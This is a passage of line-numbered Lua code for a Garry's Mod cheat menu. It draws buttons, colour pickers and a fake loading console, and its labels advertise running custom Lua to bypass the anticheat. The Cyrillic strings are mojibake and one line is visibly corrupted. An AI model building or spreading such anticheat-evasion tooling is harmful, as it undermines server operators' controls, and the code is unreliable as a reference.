2597draw.SimpleText("Ðапиши в диÑкорд еÑли еÑть трудноÑти.", "pity_home3", 118, 135, Color(255, 255, 255,200), 0, 1)
2598draw.SimpleText("ЗапуÑтите Ñвой ÑобÑтвенный Lua Ð´Ð»Ñ Ð¾Ð±Ñ…Ð¾Ð´Ð° Ðнтичита :", "pity_home3", 102, 305, Color(255, 255, 255,200), 0, 1)
2599end
2600
2601--[[
2602local TextEntry = vgui.Create( "DTextEntry", pContent ) -- create the form as a child of frame
2603TextEntry:SetPos( 150, 200 )
2604TextEntry:SetSize( 75, 150 )
2605TextEntry:SetMultiline( true )
2606TextEntry:SetText( "Placeholder Text" )
2607TextEntry.OnEnter = function( self )
2608chat.AddText( self:GetValue() ) -- print the form's text as server text
2609end
2610]]
2611
2612
2613local Runstringlua = vgui.Create( "DButton", pContent)
2614Runstringlua:SetPos( 210, 342)
2615Runstringlua:SetSize( 120, 35 )
2616Runstringlua:SetTextColor( Color( 255, 255, 255, 255 ) )
2617Runstringlua:SetText( "Ðкзекутер Луа" )
2618Runstringlua.Paint = function( self, w, h )
2619draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2620if self:IsHovered() then
2621draw.RoundedBox( 0, 0, 0, w, h, Color( 130,110,110, 60 ) )
2622aBorder = Color( 255,110,110, 255 )
2623else
2624draw.RoundedBox( 0, 0, 0, w, h, Color( 150,110,110, 20 ) )
2625aBorder = Color( 255,110,110, 80 )
2626end
2627Runstringlua.OnCursorEntered = function(self)
2628surface.PlaySound( fiji_pityhover )
2629
2630end
2631surface.SetDrawColor( aBorder )
2632surface.DrawOutlinedRect( 0, 0, w, h )
2633Runstringlua.DoClick = function()
2634surface.PlaySound( fiji_pityclick )
2635LocalPlayer():ConCommand("fiji_luarun")
2636LocalPlayer():ConCommand("clear_pity")
2637LocalPlayer():ConCommand("fiji_sv_existmen 1")
2638end
2639end
2640
2641
2642local Copierdiscordanim = vgui.Create( "DPanel", pContent )
2643Copierdiscordanim:SetSize(80,12)
2644Copierdiscordanim:SetPos(180, 287)
2645Copierdiscordanim.Paint = function( self, w, h )
2646
2647if CopiediscordHomeTextyes then
2648draw.RoundedBox(0,0,0,w,h,Color(116, 255, 112, 255))
2649draw.SimpleText("", "pity_home2", 0, 0, Color(255, 255, 255,20), 0, 1)
2650else
2651end
2652end
2653
2654local CopiediscordHomeText = vgui.Create( "DButton", pContent)
2655CopiediscordHomeText:SetPos( 350, 358)
2656CopiediscordHomeText:SetSize( 200, 40 )
2657CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2658CopiediscordHomeText:SetText( "Copier le lien" )
2659CopiediscordHomeText.Paint = function( self, w, h )
2660draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2661if self:IsHovered() then
2662draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
2663else
2664draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
2665end
2666CopiediscordHomeText.DoClick = function()
2667SetClipboardText( "gelshteyn#1337" )
2668end
2669end
2670local CopiediscordHome = vgui.Create( "DButton", pContent)
2671CopiediscordHome:SetPos( 180, 255)
2672CopiediscordHome:SetSize( 80, 35 )
2673CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
2674CopiediscordHome:SetText( "ДиÑкорд" )
2675CopiediscordHome.Paint = function( self, w, h )
2676draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2677if self:IsHovered() then
2678CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
2679draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2680aBorder = Color( 110,110,110, 80 )
2681else
2682CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2683draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2684aBorder = Color( 110,110,110, 0 )
2685endder = Color( 110,110,110, 0 )
2686end
2687CopiediscordHome.OnCursorEntered = function(self)
2688surface.PlaySound( fiji_pityhover )
2689end
2690surface.SetDrawColor( aBorder )
2691surface.DrawOutlinedRect( 0, 0, w, h )
2692CopiediscordHome.DoClick = function()
2693NOTIFICATION("Скопировано")
2694SetClipboardText( "gelshteyn#1337" )
2695surface.PlaySound( fiji_pityclick )
2696end
2697end
2698local CopiewebHomeText = vgui.Create( "DButton", pContent)
2699CopiewebHomeText:SetPos( 361, 358)
2700CopiewebHomeText:SetSize( 200, 40 )
2701CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2702CopiewebHomeText:SetText( "Скопировать" )
2703CopiewebHomeText.Paint = function( self, w, h )
2704draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2705if self:IsHovered() then
2706draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
2707else
2708draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
2709end
2710CopiewebHomeText.DoClick = function()
2711SetClipboardText( "gelshteyn#1337" )
2712end
2713end
2714
2715local CopiewebHome = vgui.Create( "DButton", pContent)
2716CopiewebHome:SetPos( 280, 255)
2717CopiewebHome:SetSize( 80, 35 )
2718CopiewebHome:SetTextColor( Color( 255, 255, 255, 255 ) )
2719CopiewebHome:SetText( "ВК" )
2720CopiewebHome.Paint = function( self, w, h )
2721draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2722if self:IsHovered() then
2723CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
2724draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2725aBorder = Color( 110,110,110, 80 )
2726else
2727CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2728draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2729aBorder = Color( 110,110,110, 0 )
2730end
2731surface.SetDrawColor( aBorder )
2732surface.DrawOutlinedRect( 0, 0, w, h )
2733CopiewebHome.OnCursorEntered = function(self)
2734surface.PlaySound( fiji_pityhover )
2735
2736end
2737CopiewebHome.DoClick = function()
2738NOTIFICATION("Скопировано")
2739SetClipboardText( "https://vk.com/gelshteyn2" )
2740surface.PlaySound( fiji_pityclick )
2741
2742end
2743end
2744end
2745
2746
2747
2748
2749concommand.Add("fiji_console", function()
2750local BDConsole = vgui.Create( "DFrame" )
2751BDConsole:SetSize( 700, 400 )
2752BDConsole:Center()
2753BDConsole:SetTitle("")
2754BDConsole:SetDraggable( true )
2755BDConsole:ShowCloseButton( false )
2756BDConsole:MakePopup()
2757BDConsole.Paint = function( self, w, h)
2758DrawBlur(self, 25)
2759draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
2760
2761end
2762
2763local ConsoleText = vgui.Create( "DPanel", BDConsole ) -- create the form as a child of frame
2764ConsoleText:SetPos( 5, 25 )
2765ConsoleText:SetSize( 690, 370 )
2766ConsoleText:SetText( "MaJ" )
2767ConsoleText.Paint = function( self, w, h)
2768draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2769
2770end
2771
2772local ConsoleText1 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2773ConsoleText1:SetPos( 500, 1000 )
2774ConsoleText1:SetSize( 690, 370 )
2775ConsoleText1:SetText( "MaJ" )
2776ConsoleText1.Paint = function( self, w, h)
2777draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2778draw.SimpleText("ИнициализациÑ...", "BudgetLabel", 5, 5, Color(255, 255, 255,255), 0, 1)
2779
2780end
2781
2782local ConsoleText2 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2783ConsoleText2:SetPos( 500, 1000 )
2784ConsoleText2:SetSize( 690, 370 )
2785ConsoleText2:SetText( "MaJ" )
2786ConsoleText2.Paint = function( self, w, h)
2787draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2788draw.SimpleText("Чтение КÑша...", "BudgetLabel", 5, 5, Color(95, 119, 252), 0, 1)
2789end
2790
2791local ConsoleText3 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2792ConsoleText3:SetPos( 500, 1000 )
2793ConsoleText3:SetSize( 690, 370 )
2794ConsoleText3:SetText( "MaJ" )
2795ConsoleText3.Paint = function( self, w, h)
2796draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2797draw.SimpleText("Загрузка...", "BudgetLabel", 5, 5, Color(255, 255, 255,255), 0, 1)
2798end
2799
2800local ConsoleText4 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2801ConsoleText4:SetPos( 500, 1000 )
2802ConsoleText4:SetSize( 690, 370 )
2803ConsoleText4:SetText( "MaJ" )
2804ConsoleText4.Paint = function( self, w, h)
2805draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2806draw.SimpleText("ВерÑÐ¸Ñ Ñ‡Ð¸Ñ‚Ð° V0.1 Сделано Hoper© переведено gelshteyn2", "BudgetLabel", 5, 5, Color(91, 255, 102,255), 0, 1)
2807
2808draw.SimpleText("Ð’ разработке : ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ ÐšÐ¾Ð¼Ð°Ð½Ð´Ñ‹ Ð´Ð»Ñ Ñ„Ð°Ð½Ð°", "BudgetLabel", 5, 20, Color(255, 100, 100,255), 0, 1)
2809end
2810
2811
2812local Readconsole = vgui.Create( "DButton", ConsoleText)
2813Readconsole:SetPos( 5, 8)
2814Readconsole:SetSize( 150, 15 )
2815Readconsole:SetTextColor( Color( 255, 255, 255, 255 ) )
2816Readconsole:SetText( "Ðажми Ñюда Ð´Ð»Ñ Ñтарта...." )
2817Readconsole.Paint = function( self, w, h )
2818draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2819
2820Readconsole.DoClick = function()
2821Readconsole:Remove()
2822timer.Simple( 0.1, function()
2823ConsoleText1:SetPos( 5, 25 )
2824end )
2825
2826timer.Simple( 0.6, function()
2827ConsoleText2:SetPos( 5, 25 )
2828end )
2829
2830timer.Simple( 2.3, function()
2831ConsoleText3:SetPos( 5, 25 )
2832end )
2833
2834timer.Simple( 2.5, function()
2835ConsoleText4:SetPos( 5, 25 )
2836end )
2837
2838
2839end
2840end
2841
2842
2843concommand.Add("fiji_readconsole", function()
2844
2845timer.Simple( 1, function()
2846draw.SimpleText("ИнициализациÑ...", "BudgetLabel", 5, 12, Color(255, 255, 255,255), 0, 1)
2847end )
2848timer.Simple( 2, function() draw.SimpleText("Чтение кеша ...", "BudgetLabel", 5, 28, Color(255, 255, 255,255), 0, 1) end )
2849timer.Simple( 2.5, function() draw.SimpleText("Заргузка....", "BudgetLabel", 5, 40, Color(255, 255, 255,255), 0, 1) end )
2850
2851timer.Simple( 2.7, function()
2852draw.SimpleText("ВерÑÐ¸Ñ Ñ‡Ð¸Ñ‚Ð° V0.1 Сделано Hoper© переведено gelshteyn2 ", "BudgetLabel", 5, 52, Color(91, 255, 102,255), 0, 1)
2853draw.SimpleText("Ð’ разработке : ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð’ÐµÑёлых команды", "BudgetLabel", 5, 65, Color(255, 100, 100,255), 0, 1)
2854end )
2855
2856end)
2857
2858local CloseCONSOLE = vgui.Create( "DButton", BDConsole)
2859CloseCONSOLE:SetPos( 670, 8)
2860CloseCONSOLE:SetSize( 20, 15 )
2861CloseCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
2862CloseCONSOLE:SetText( "X" )
2863CloseCONSOLE.Paint = function( self, w, h )
2864draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2865if self:IsHovered() then
2866draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2867else
2868draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2869end
2870CloseCONSOLE.DoClick = function()
2871LocalPlayer():ConCommand("fiji_sv_existmen 0")
2872BDConsole:Remove()
2873end
2874end
2875
2876local ReturnCONSOLE = vgui.Create( "DButton", BDConsole)
2877ReturnCONSOLE:SetPos( 638, 8)
2878ReturnCONSOLE:SetSize( 30, 15)
2879ReturnCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
2880ReturnCONSOLE:SetText( "Ðазад" )
2881ReturnCONSOLE.Paint = function( self, w, h )
2882draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2883if self:IsHovered() then
2884draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2885else
2886draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2887end
2888ReturnCONSOLE.DoClick = function()
2889LocalPlayer():ConCommand("lyr3x")
2890BDConsole:Remove()
2891end
2892end
2893
2894concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
2895BDConsole:Remove()
2896
2897end)
2898
2899end)
2900
2901function BD:Options( pContent )
2902local BDMenuOptions = vgui.Create("DPanel", pContent)
2903BDMenuOptions:SetSize( 539, 388 )
2904BDMenuOptions:SetPos( 0, 0 )
2905BDMenuOptions.Paint = function( self, w, h)
2906if fiji_style_menu:GetInt() == 2 then
2907draw.RoundedBox( 0, 0, 0, 2, h - 46, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2908
2909elseif fiji_style_menu:GetInt() == 1 then
2910draw.RoundedBox( 0, 0, 0, 2, h - 46, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2911
2912else
2913draw.RoundedBox( 0, 0, 0, 2, h - 46, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2914
2915end
2916
2917
2918draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
2919draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
2920draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
2921draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
2922draw.RoundedBox( 0, 290, 10, w - 447, 2, Color( 50,50,50, 255 ) )
2923draw.SimpleText("Меню", "pity_home3", 251, 10, Color(100, 100, 100,255), 0, 1)
2924
2925draw.RoundedBox( 200, 382, 205, 2, h - 213, Color( 50,50,50, 255 ) )
2926draw.RoundedBox( 200, 149, 205, 2, h - 213, Color( 50,50,50, 255 ) )
2927draw.RoundedBox( 0, 151, 378, w - 307, 2, Color( 50,50,50, 255 ) )
2928draw.RoundedBox( 0, 151, 205, w - 448, 2, Color( 50,50,50, 255 ) )
2929draw.RoundedBox( 0, 290, 205, w - 447, 2, Color( 50,50,50, 255 ) )
2930draw.SimpleText("Прочее", "pity_home3", 250, 205, Color(100, 100, 100,255), 0, 1)
2931end
2932
2933
2934
2935local pPOOO = vgui.Create( "DPanel", pContent )
2936pPOOO:SetSize( 225, 50 )
2937pPOOO:SetPos( 154, 290 )
2938function pPOOO:Paint( w, h )
2939draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2940draw.SimpleText( "У", "pity_home5", 10, h / 2, color_white, 0, 1 )
2941end
2942local pDistanceOOO = vgui.Create( "DNumSlider", pContent )
2943pDistanceOOO:SetPos( 215, 290 )
2944pDistanceOOO:SetSize( 180, 50 )
2945pDistanceOOO:SetText( "" )
2946pDistanceOOO:SetMin( 10 )
2947pDistanceOOO:SetMax( 1500 )
2948pDistanceOOO:SetDecimals( 0 )
2949pDistanceOOO:SetValue( physgun_wheelspeed:GetInt() or 200 )
2950pDistanceOOO.Scratch:SetVisible( false )
2951pDistanceOOO.TextArea:SetTextColor( color_white )
2952function pDistanceOOO.Slider:Paint(w, h)
2953surface.SetDrawColor(0, 0, 0, 255)
2954surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
2955if fiji_style_menu:GetInt() == 2 then
2956surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2957surface.DrawRect(0, 21, barw, h / 5)
2958
2959elseif fiji_style_menu:GetInt() == 1 then
2960surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
2961surface.DrawRect(0, 21, barw, h / 5)
2962
2963else
2964surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
2965surface.DrawRect(0, 21, barw, h / 5)
2966end
2967end
2968function pDistanceOOO:SetHeight(tall)
2969self.Slider.Knob:SetHeight(tall / 2 + 4)
2970DSlider.SetHeight(self, tall)
2971pDistanceOOO.SetTall = pDistanceOOO.SetHeight
2972pDistanceOOO.Slider.Knob:SetTall(5)
2973end
2974function pDistanceOOO.Slider.Knob:Paint(w, h)
2975derma.SkinHook( "Paint", "Button", self, 0, 0 )
2976end
2977function pDistanceOOO:OnValueChanged( val )
2978RunConsoleCommand( "physgun_wheelspeed", tonumber( self:GetValue() ) )
2979end
2980
2981local movingicons = {Material("icon16/exclamation.png"), Material("icon16/delete.png"), Material("icon16/key.png"), Material("icon16/cancel.png"), Material("icon16/rainbow.png"), Material("icon16/wand.png"), nil}
2982
2983
2984local OpenConsole = vgui.Create( "DButton", pContent)
2985OpenConsole:SetPos( 485, 363.5)
2986OpenConsole:SetSize( 50, 20 )
2987OpenConsole:SetTextColor( Color( 255, 255, 255, 255 ) )
2988OpenConsole:SetText( "Console" )
2989OpenConsole.Paint = function( self, w, h )
2990draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2991if self:IsHovered() then
2992
2993
2994for i, icon in pairs(movingicons) do
2995local seed = i
2996local tick = (CurTime() + seed * 10)
2997local speed = seed % 4 + 1 + (seed * 0.5)
2998local loltick = (CurTime() * 2+ tick * speed * 10) % w
2999surface.SetDrawColor(255, 255, 255)
3000surface.SetMaterial(icon)
3001local iw, ih = 50, 50
3002surface.DrawTexturedRect(loltick, 0 + (h * 1.01 / 15) + math.sin(loltick / 30) * 5, iw, ih)
3003end
3004DrawBlur(self, 5)
3005
3006draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 180))
3007
3008else
3009OpenConsole:SetTextColor( Color( 255, 255, 255, 100 ) )
3010draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3011end
3012function OpenConsole:OnCursorEntered() OpenConsole:SizeTo( 60, 30, 0.2, 0 ) OpenConsole:MoveTo( 475, 353.5, 0.2) end
3013function OpenConsole:OnCursorExited() OpenConsole:SizeTo( 50, 20, 0.2, 0 ) OpenConsole:MoveTo( 485, 363.5, 0.2)end
3014OpenConsole.DoClick = function()
3015LocalPlayer():ConCommand("fiji_console")
3016LocalPlayer():ConCommand("clear_pity")
3017LocalPlayer():ConCommand("fiji_sv_existmen 1")
3018end
3019end
3020
3021local ColorMenuBB = vgui.Create( "DPanel", BDMenuOptions )
3022ColorMenuBB:SetSize( 225, 50 )
3023ColorMenuBB:SetPos( 154, 227 )
3024function ColorMenuBB:Paint( w, h )
3025draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3026draw.SimpleText( "Цвет игрока", "pity_home5", 78, 8, color_white, 0, 1 )
3027end
3028local OptionsColorRedMENUBB = vgui.Create( "DButton", ColorMenuBB )
3029OptionsColorRedMENUBB:SetPos( 4,20 )
3030OptionsColorRedMENUBB:SetSize( 20, 20 )
3031OptionsColorRedMENUBB:SetText( " " )
3032OptionsColorRedMENUBB.Paint = function( self, w, h )
3033if self:IsHovered() then
3034draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3035surface.SetDrawColor(255, 255, 255 ,100)
3036surface.DrawOutlinedRect(0, 0, w, h)
3037else
3038draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3039surface.SetDrawColor(255, 255, 255 ,100)
3040surface.DrawOutlinedRect(0, 0, w, h)
3041end
3042OptionsColorRedMENUBB.DoClick = function()
3043LocalPlayer():ConCommand("fiji_principal_color_player 255")
3044LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3045LocalPlayer():ConCommand("fiji_third_color_player 0")
3046LocalPlayer():ConCommand("fiji_style_player 0")
3047surface.PlaySound( fiji_pityhover )
3048end
3049end
3050local OptionsColorOrangeMENUBB = vgui.Create( "DButton", ColorMenuBB )
3051OptionsColorOrangeMENUBB:SetPos( 26,20 )
3052OptionsColorOrangeMENUBB:SetSize( 20, 20 )
3053OptionsColorOrangeMENUBB:SetText( " " )
3054OptionsColorOrangeMENUBB.Paint = function( self, w, h )
3055if self:IsHovered() then
3056draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3057surface.SetDrawColor(255, 255, 255 ,100)
3058surface.DrawOutlinedRect(0, 0, w, h)
3059else
3060draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3061surface.SetDrawColor(255, 255, 255 ,100)
3062surface.DrawOutlinedRect(0, 0, w, h)
3063end
3064OptionsColorOrangeMENUBB.DoClick = function()
3065LocalPlayer():ConCommand("fiji_principal_color_player 255")
3066LocalPlayer():ConCommand("fiji_secondary_color_player 144")
3067LocalPlayer():ConCommand("fiji_third_color_player 0")
3068LocalPlayer():ConCommand("fiji_style_player 0")
3069surface.PlaySound( fiji_pityhover )
3070end
3071end
3072local OptionsColorYellowMENUBB = vgui.Create( "DButton", ColorMenuBB )
3073OptionsColorYellowMENUBB:SetPos( 48,20 )
3074OptionsColorYellowMENUBB:SetSize( 20, 20 )
3075OptionsColorYellowMENUBB:SetText( " " )
3076OptionsColorYellowMENUBB.Paint = function( self, w, h )
3077if self:IsHovered() then
3078draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3079surface.SetDrawColor(255, 255, 255 ,100)
3080surface.DrawOutlinedRect(0, 0, w, h)
3081else
3082draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3083surface.SetDrawColor(255, 255, 255 ,100)
3084surface.DrawOutlinedRect(0, 0, w, h)
3085end
3086OptionsColorYellowMENUBB.DoClick = function()
3087LocalPlayer():ConCommand("fiji_principal_color_player 255")
3088LocalPlayer():ConCommand("fiji_secondary_color_player 229")
3089LocalPlayer():ConCommand("fiji_third_color_player 0")
3090LocalPlayer():ConCommand("fiji_style_player 0")
3091surface.PlaySound( fiji_pityhover )
3092end
3093end
3094local OptionsColorGreenMENUBB = vgui.Create( "DButton", ColorMenuBB )
3095OptionsColorGreenMENUBB:SetPos( 70,20 )
3096OptionsColorGreenMENUBB:SetSize( 20, 20 )
3097OptionsColorGreenMENUBB:SetText( " " )
3098OptionsColorGreenMENUBB.Paint = function( self, w, h )
3099if self:IsHovered() then
3100draw.RoundedBox(0,0,0,w,h,Color(0, 155, 106))
3101surface.SetDrawColor(255, 255, 255 ,100)
3102surface.DrawOutlinedRect(0, 0, w, h)
3103else
3104draw.RoundedBox( 0, 0, 0, w, h, Color(0, 255, 174))
3105surface.SetDrawColor(255, 255, 255 ,100)
3106surface.DrawOutlinedRect(0, 0, w, h)
3107end
3108OptionsColorGreenMENUBB.DoClick = function()
3109LocalPlayer():ConCommand("fiji_principal_color_player 0")
3110LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3111LocalPlayer():ConCommand("fiji_third_color_player 4")
3112LocalPlayer():ConCommand("fiji_style_player 0")
3113surface.PlaySound( fiji_pityhover )
3114end
3115end
3116local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3117OptionsColorBlueMENUBB:SetPos( 92,20 )
3118OptionsColorBlueMENUBB:SetSize( 20, 20 )
3119OptionsColorBlueMENUBB:SetText( " " )
3120OptionsColorBlueMENUBB.Paint = function( self, w, h )
3121if self:IsHovered() then
3122draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3123surface.SetDrawColor(255, 255, 255 ,100)
3124surface.DrawOutlinedRect(0, 0, w, h)
3125else
3126draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3127surface.SetDrawColor(255, 255, 255 ,100)
3128surface.DrawOutlinedRect(0, 0, w, h)
3129end
3130OptionsColorBlueMENUBB.DoClick = function()
3131LocalPlayer():ConCommand("fiji_principal_color_player 0")
3132LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3133LocalPlayer():ConCommand("fiji_third_color_player 255")
3134LocalPlayer():ConCommand("fiji_style_player 0")
3135surface.PlaySound( fiji_pityhover )
3136end
3137end
3138local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3139OptionsColorBlueMENUBB:SetPos( 114,20 )
3140OptionsColorBlueMENUBB:SetSize( 20, 20 )
3141OptionsColorBlueMENUBB:SetText( " " )
3142OptionsColorBlueMENUBB.Paint = function( self, w, h )
3143if self:IsHovered() then
3144draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3145surface.SetDrawColor(255, 255, 255 ,100)
3146surface.DrawOutlinedRect(0, 0, w, h)
3147else
3148draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3149surface.SetDrawColor(255, 255, 255 ,100)
3150surface.DrawOutlinedRect(0, 0, w, h)
3151end
3152OptionsColorBlueMENUBB.DoClick = function()
3153LocalPlayer():ConCommand("fiji_principal_color_player 114")
3154LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3155LocalPlayer():ConCommand("fiji_third_color_player 255")
3156LocalPlayer():ConCommand("fiji_style_player 0")
3157surface.PlaySound( fiji_pityhover )
3158end
3159end
3160local OptionsColorPinkMENUBB = vgui.Create( "DButton", ColorMenuBB )
3161OptionsColorPinkMENUBB:SetPos( 136,20 )
3162OptionsColorPinkMENUBB:SetSize( 20, 20 )
3163OptionsColorPinkMENUBB:SetText( " " )
3164OptionsColorPinkMENUBB.Paint = function( self, w, h )
3165if self:IsHovered() then
3166draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3167surface.SetDrawColor(255, 255, 255 ,100)
3168surface.DrawOutlinedRect(0, 0, w, h)
3169else
3170draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3171surface.SetDrawColor(255, 255, 255 ,100)
3172surface.DrawOutlinedRect(0, 0, w, h)
3173end
3174OptionsColorPinkMENUBB.DoClick = function()
3175LocalPlayer():ConCommand("fiji_principal_color_player 255")
3176LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3177LocalPlayer():ConCommand("fiji_third_color_player 242")
3178LocalPlayer():ConCommand("fiji_style_player 0")
3179surface.PlaySound( fiji_pityhover )
3180end
3181end
3182local OptionsColorBlackMENUBB = vgui.Create( "DButton", ColorMenuBB )
3183OptionsColorBlackMENUBB:SetPos( 158,20 )
3184OptionsColorBlackMENUBB:SetSize( 20, 20 )
3185OptionsColorBlackMENUBB:SetText( " " )
3186OptionsColorBlackMENUBB.Paint = function( self, w, h )
3187if self:IsHovered() then
3188draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3189surface.SetDrawColor(255, 255, 255 ,100)
3190surface.DrawOutlinedRect(0, 0, w, h)
3191else
3192draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3193surface.SetDrawColor(255, 255, 255 ,100)
3194surface.DrawOutlinedRect(0, 0, w, h)
3195end
3196OptionsColorBlackMENUBB.DoClick = function()
3197LocalPlayer():ConCommand("fiji_principal_color_player 0")
3198LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3199LocalPlayer():ConCommand("fiji_third_color_player 0")
3200LocalPlayer():ConCommand("fiji_style_player 0")
3201surface.PlaySound( fiji_pityhover )
3202end
3203end
3204local OptionsColormultiMENUBB = vgui.Create( "DButton", ColorMenuBB )
3205OptionsColormultiMENUBB:SetPos( 202,20 )
3206OptionsColormultiMENUBB:SetSize( 20, 20 )
3207OptionsColormultiMENUBB:SetText( " " )
3208OptionsColormultiMENUBB.Paint = function( self, w, h )
3209if self:IsHovered() then
3210draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3211surface.SetDrawColor(255, 255, 255 ,100)
3212surface.DrawOutlinedRect(0, 0, w, h)
3213else
3214draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3215surface.SetDrawColor(255, 255, 255 ,100)
3216surface.DrawOutlinedRect(0, 0, w, h)
3217end
3218OptionsColormultiMENUBB.DoClick = function()
3219LocalPlayer():ConCommand("fiji_style_player 1")
3220surface.PlaySound( fiji_pityhover )
3221end
3222end
3223local OptionsColorwhiteMENUBB = vgui.Create( "DButton", ColorMenuBB )
3224OptionsColorwhiteMENUBB:SetPos( 180,20 )
3225OptionsColorwhiteMENUBB:SetSize( 20, 20 )
3226OptionsColorwhiteMENUBB:SetText( " " )
3227OptionsColorwhiteMENUBB.Paint = function( self, w, h )
3228if self:IsHovered() then
3229draw.RoundedBox(0,0,0,w,h,Color(200,200,200))
3230surface.SetDrawColor(255, 255, 255,100)
3231surface.DrawOutlinedRect(0, 0, w, h)
3232else
3233draw.RoundedBox( 0, 0, 0, w, h, Color(255,255,255))
3234surface.SetDrawColor(255, 255, 255 ,100)
3235surface.DrawOutlinedRect(0, 0, w, h)
3236end
3237OptionsColorwhiteMENUBB.DoClick = function()
3238LocalPlayer():ConCommand("fiji_principal_color_player 255")
3239LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3240LocalPlayer():ConCommand("fiji_third_color_player 255")
3241LocalPlayer():ConCommand("fiji_style_player 0")
3242surface.PlaySound( fiji_pityhover )
3243end
3244end
3245
3246
3247
3248
3249
3250local ColorMenu = vgui.Create( "DPanel", BDMenuOptions )
3251ColorMenu:SetSize( 225, 50 )
3252ColorMenu:SetPos( 154, 30 )
